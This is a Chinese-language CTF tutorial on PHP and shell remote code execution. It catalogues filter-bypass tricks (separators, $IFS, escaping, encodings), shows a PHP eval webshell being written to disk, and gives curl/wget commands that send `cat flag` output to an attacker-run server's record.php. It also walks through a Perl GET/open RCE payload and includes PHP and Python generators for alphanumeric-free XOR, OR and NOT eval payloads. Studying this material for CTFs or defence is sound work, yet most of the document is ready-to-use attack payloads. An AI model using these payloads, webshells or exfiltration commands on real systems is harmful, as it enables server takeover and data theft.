1、什么是RCE
RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
2、RCE产生原因
服务器没有对执行命令的函数做严格的过滤,最终导致命令被执行。
3、命令执行函数
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
4、面对过滤绕过方法
1、过滤关键字,如过滤 cat,flag等关键字
替代法
more:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容sh /flag 2>%261 //报错出文件内容
使用转义符号
ca\t /fl\agcat fl''ag
拼接法
a=fl;b=ag;cat$IFS$a$b
使用空变量$*和$@,$x,${x}绕过
反引号绕过
编码绕过
1、Base64
2、8进制
3、16进制
正则表达式绕过
利用未初始化变量$u让绕过
2、过滤命令执行函数,如过滤system()
编码绕过
内敛执行绕过
echo `ls`;echo $(ls);?><?=`ls`;?><?=$(ls);
3、过滤一些读取文件的命令(如cat)
绕过方法
[root@kali flag123]# curl file:///flag123/flag flag{suifeng} [root@kali flag123]# strings flag flag{suifeng} [root@kali flag123]# uniq -c flag 1 flag{suifeng} [root@kali flag123]# bash -v flag flag{suifeng} flag: line 1: flag{suifeng}: command not found [root@kali flag123]# rev flag }gnefius{galf [root@kali flag123]#
find -- 列出当前目录下的文件以及子目录所有文件
4、过滤空格
%09(url传递)(cat%09flag.php)${IFS}$IFS$9<>(cat<>/flag)<(cat</flag){cat,flag}
5、过滤目录分割符
采用多管道命令绕过127.0.0.1||cd flag_is_here;cat flag_262431433226364.php
、
6、过滤分割符 | & ;
; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行 %0a //换行符 %0d //回车符号 用?>代替; 在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。
7、过滤括号
使用不需要括号的函数进行绕过echo `cat flag`
8、输入字符串长度限制
# \指的是换行 # ls -t是将文本按时间排序输出 # ls -t >shell 将输出输入到shell文件中 # sh将文本中的文字读取出来执行
9、利用$PATH环境变量绕过
利用环境变量来截取字母达到绕过过滤
假如数字被过滤,我们还可以利用环境变量的长度来进一步绕过过滤
for i in `env`; do echo -n "${i%=*} lenth is";echo ${i#*=}|awk '{print length($0)}'; done |grep 5
10、无回显
一、Shell_exec等无回显函数
方法一、
1、判断是否执行成功我们可以用sleep()
eg:ls;sleep(5);
2、用压缩、复制、写shell等方法对其进行绕过(此处要注意权限,看是否有写的权限)
copy flag 1.txt mv flag 1.txt cat flag > 1.txt tar zcvf flag.tar.gz flag echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php echo "<?php @eval($_POST['suifeng']); ?>" > webshell.php
利用上述操作产生新的文件,然后我们在对新的文件进行访问
方法二、
用vps建立记录脚本
1、首先在自己的公网ip的网站目录下建立一个record.php的文件,里面写下如下代码
<?php $data =$_GET['data']; $f = fopen("flag.txt", "w"); fwrite($f,$data); fclose($f); ?>
2、第二步我们开始构造请求
curl http://*.*.*.**/record.php?data=`cat flag` wget http://*.*.*.*/record.php?data=`cat flag`
测试
这里是上帝视角(为了师傅们更直观理解)
首先看目标网站上的文件
接下来看自己服务器上的文件
我们在目标站点执行如下命令
这样我们在自己的服务器上就会产生一个flag.txt文件,然后进行查看
有时会读取不全,这里我没碰到,读取不全的话我们可以进行一个编码,如下。
curlhttp://*.*.*.**/record.php?data=`catflag|base64`wgethttp://*.*.*.*/record.php?data=`catflag|base64`
更多参考https://blog.csdn.net/qq_43625917/article/details/107873787
二、>/dev/null 2>&1类无回显
代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显。
该种无回显我们用分隔符进行分割即可绕过
; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
11、Perl中open命令执行(GET)
源码
192.168.122.180 <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
代码审计
首先$_SERVER方式把HTTP_X_FORWARDED_FOR给请求过来,然后通过explode函数分割,在把ip地址截取出来,在用echo函数输出出来,这就是我们第一行看到的IP地址
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
sandbox变量为sandbox/后面拼接一个(orange拼接输出的ip)的MD5值在通过
@mkdir($sandbox);
@chdir($sandbox);
创建sandbox这个目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
首先我们到kali里面去测试一下这个GET有什么作用
这里GET一个根目录,功能类似于ls把它给列出来
可以读取文件
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
那么这句代码的意思就是,把shell_exec中GET过来的结果保存到escapeshellarg中用get(此处get为get请求)接收的参数中,并且这个参数是可以在shell命令里使用的参数。
然后用pathinfo函数分割get过来的filename,最后替换点,截取前面目录,最终用file_put_contents函数把之前$data给写进这个目录里面。知道了代码的流程我们就可以构造我们的参数了。
构造参数
首先我们GET根目录且让其放进test目录里
然后我们对其访问,路径是sandbox+拼接的MD5值+test
根目录下有flag和readflag文件,但是打不开,我们要利用readflag去读取flag,接下来就到我们标题所说的
Perl中open命令执行(GET)内容了。
因为GET的底层是使用open函数的,如下
file.pm84: opendir(D, $path) or132: open(F, $path) or returnnew
而这个open函数会导致我们的RCE,最终造成GET的RCE
因为GET使用file协议时候会调用perl中的open函数
所以我们这题就需要利用file来进行绕过了。
这里够造了好久也没构造出来,看了下wp,执行命令需要满住如下条件
要执行的命令先前必须要有以命令为文件名的文件存在(这里不是很理解,大佬可以告知一下)
既然要满住这个条件,那我们构造的payload如下
1、?url=&filename=|/readflag2、?url=file:|/readflag&filename=test
最终访问拿到flag
12、无字母数字RCE
代码示例
<?php error_reporting(0); highlight_file(__FILE__); $code=$_GET['code']; if(preg_match('/[a-z0-9]/i',$code)){ die('hacker'); } eval($code);
代码分析
这里先代码很好理解接收一个code参数,进行一个正则匹配,匹配所哟的字母和数字,匹配到了结果返回一个hacker字符串,且结束代码。
这里很明显要绕过这个正则然后运行eval函数达到我们的命令执行
绕过(这里我们利用异或、或、取反等操作进行绕过)
1、异或---首先利用如下脚本生成包含所有可见字符的异或构造结果。
<?php $myfile = fopen("res.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);
运行python脚本生成我们的payload
import requests import urllib from sys import * import os def action(arg): s1="" s2="" for i in arg: f=open("res.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"^\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" print(param)
运行结果
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%04%09%09"^"%60%60%7b");
这里注意一下php的版本,尽量选择php的高版本,低版本可能会导致执行不成功
2、或---原理一样就是脚本稍微改变一下
<?php $myfile = fopen("res.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);
python脚本
import requests import urllib from sys import * import os def action(arg): s1="" s2="" for i in arg: f=open("or_rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" print(param)
3、取反---取反用的字符不会触发正则表达式,所以我们直接用php脚本生成payload即可
<?php //在命令行中运行 fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; ?>